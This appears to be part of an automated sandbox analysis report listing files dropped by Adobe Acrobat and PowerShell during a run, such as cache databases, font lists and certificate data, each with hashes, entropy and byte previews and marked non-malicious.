SHA-256:	ECA47E96295EFFFE3428730FBD7BB5EF4F3D403959D1A1A7AC2F0B79A3F7F474
SHA-512:	FBFF5EB3675280219374F251F98FE7A1661A57150776B66F0D1414D7D1404B3C12907D8E681AE331C8F1CFE3215E5053BEF4D775504CE4E4F9C40C33E083CDF5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7756031239426675
Encrypted:	false
SSDEEP:	48:7Mcp/E2ioyVNioy9oWoy1Cwoy15KOioy1noy1AYoy1Wioy1hioybioy5oy1noy1Q:7bpjuNFYXKQ8Ab9IVXEBodRBk5
MD5:	E43D83E0463BBD97675D048AB0BF8C1F
SHA1:	9E243151C77DE39DC5831774BAF71414FFD994B8
SHA-256:	8EC19AB1DA2398EC71A78C49F6499C1692602E3EF2A688E039B5D85F66664F54
SHA-512:	7101552E2C0B41E1602CB34C4FDD03133BC42BA0F72E234F943615982C774D726982081DC654C3D44485A352EB85FEF189C00CB6A71F7E3F98819E7197D7EFEA
Malicious:	false
Preview:	.... .c.......m...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.756901573172974
Encrypted:	false
SSDEEP:	3:kkFkl5jtfllXlE/HT8kpQll7l/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKyeT8gwlRNMa8RdWBwRd
MD5:	D2D8867CC1CD5C723C4220C497C43449
SHA1:	73098D62CEEE7F24D0F94F3D2258CCE6DC040195
SHA-256:	C3B81043C532642097F128B81DEA7AB877E3E66391DE7B6BADB9785A8DCD64ED
SHA-512:	7F3FC8351B1EEEB0DBF5ECA1AEADC97341988D3A88024BE6F230D5FFEC8C440FF70B68DA2AD593AB8C65F28DCBFC697C93160DC465A6AA693594F60A0BE085F7
Malicious:	false
Preview:	p...... ........J....e..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.233705726912275
Encrypted:	false
SSDEEP:	6:kK64/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:viDImsLNkPlE99SNxAhUe/3
MD5:	821153B2F1C0C6C06E2EEA30B01C4E37
SHA1:	3435779A9A37EE732DF9439AC6B9D84ADED73E4E
SHA-256:	4A550DE736824BE77618A20D3E05A39D74AF46F2FD1C10C945332C97F3260FAA
SHA-512:	119134F457BB6088F60103F19EAB07976E45C0374F9D7D810F666601048151B0B8D8FCA2814AF11F1F98FDACDB032C0A0439941766DB0ACD4EE5949A51A8B65E
Malicious:	false
Preview:	p...... ........PB...e..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7968

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7968

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2145
Entropy (8bit):	5.067304405297205
Encrypted:	false
SSDEEP:	48:Yi2sL0/EY0bMSlMtCM5mMOpiMAW0MretMSMmkaMY:4v/SYtt55V6AWLre6JmkhY
MD5:	9A34DD48BC53A0A59999AE6EDE32B133
SHA1:	E11637D652E7E1A96BBB9DCFF0E3111A833E66B6
SHA-256:	8D4D62EDEC8464C65AC9CEA708D6038E1879A55412A5D9737164512E79B53E13
SHA-512:	0D3084D00C68361FE863A249E2A75DDE07E28ABE89011C2E656A10DFFC5CEC53BE1582F642ABB4DC87A8ED3A7E87A1B1180A084648E9A28C66AEECF6DF2B2BA1
Malicious:	false
Preview:	{"all":[{"id":"TESTING","info":{"dg":"DG","sid":"TESTING"},"mimeType":"file","size":4,"ts":1736755569000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"23c88c8acf166d9fda5ae4d83df3db72","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696420889000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d5fa85f4cf271b5fa75367efd1b392fa","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1696420884000},{"id":"DC_FirstMile_Right_Sec_Surface","info":{"dg":"7c2ad79e375e3ea39f82a389e8a5841f","sid":"DC_FirstMile_Right_Sec_Surface"},"mimeType":"file","size":294,"ts":1696420882000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"c3af48ba3dee086edbbf20dff46c7ee0","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1255,"ts":1696333862000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"7101e009d8bf8920d0a3dd3f5dc75ebc","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696333862000},{"id":"DC_Reader_Edit_LHP_Banner"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.187526066277782
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUYSvR9H9vxFGiDIAEkGVvpi:lNVmswUUUUUUUUY+FGSItW
MD5:	636E9E2BD79CF52CAC1384E6FBE0D9A2
SHA1:	EB0DF4894E94B987C5D84F7D9CE29D411CC49780
SHA-256:	098828C2D5ABD7DC3375BE2890CE5DF0E872A6752DC00513D9DC268501EB224C
SHA-512:	8223A1FB5939F192F423E0CD6561EB9998E5FD8E50C8EF86E0933A1DA6291E89890B4F732F0810CE2E2E45732D5A5C02565B0BA4BE63FAB9C9AF0DA1C31FA600
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.606276021618073
Encrypted:	false
SSDEEP:	48:7MCqKUUUUUUUUUU6vR9H9vxFGiDIAEkGVvmqFl2GL7ms64:7NUUUUUUUUUUGFGSItcKVms64
MD5:	F86615160B64FB53A38214C01E38A769
SHA1:	2D57AEF1D4437460927257D0A1DC9E33BBFFD655
SHA-256:	AD704EAE184AE71F4A665C602A2B242BBA35B922B7758AB38BFE9BD93BF2C813
SHA-512:	CCBDBA4A505A34E290ADAE0DBBDDE03F64268025A600F1CACA7E80AA621B60A500ADFA451EA5CB3AD141BE3BEB9095CD9E7FBCAD8117C5BABBC2D8C97AACF61B
Malicious:	false
Preview:	.... .c.....).........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgkZvdjnuleL/8YqvxGFzdbwVh0oYyu:6a6TZ44ADEmvdjnulUqvLVaoK
MD5:	6B5E09B50132C7F09ECF3988921FB0FD
SHA1:	3FF0D6F88456AA915BF66678098C1BB371065A0F
SHA-256:	3ADD765CFE86BD8EAF6AF7704B9F475065CF2D27DEA7C51EB4D3357E663C8D63
SHA-512:	F6C97F3EF7A642FCD1C3D50F56AA4733FD05C35023EEDA4ECA209308DB80431FF03A71B9B33B31DF8E4F94D7C69EE8BC53D0881FE6E4E7D9ABE52F519E5AE8BC
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIfab36.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.513199765407527
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84jCl+7KCH:Qw946cPbiOxDlbYnuRKTjh2w
MD5:	3442D8CE065163641A39B77F65CC9DBE
SHA1:	5A8D1BFDFA6651740C5B7812373A54DC885F88CA
SHA-256:	F6571E014B50E48EA948F24CD3891D0CE5C435D90A9D4DB39E0A8B4B429C4D66
SHA-512:	48AE250CA1146B742D7F6A92041C82B3B132C50EAC49DF4395DF3CE813DC3CAFB8C3F6BCF4A9BB5160FF0BA34F04AD85393FB41BCC49C2EA091F5F088143A54E
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.3./.0.1./.2.0.2.5. . .0.3.:.0.6.:.1.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dcw4ykeu.po4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_raed2va2.5bn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

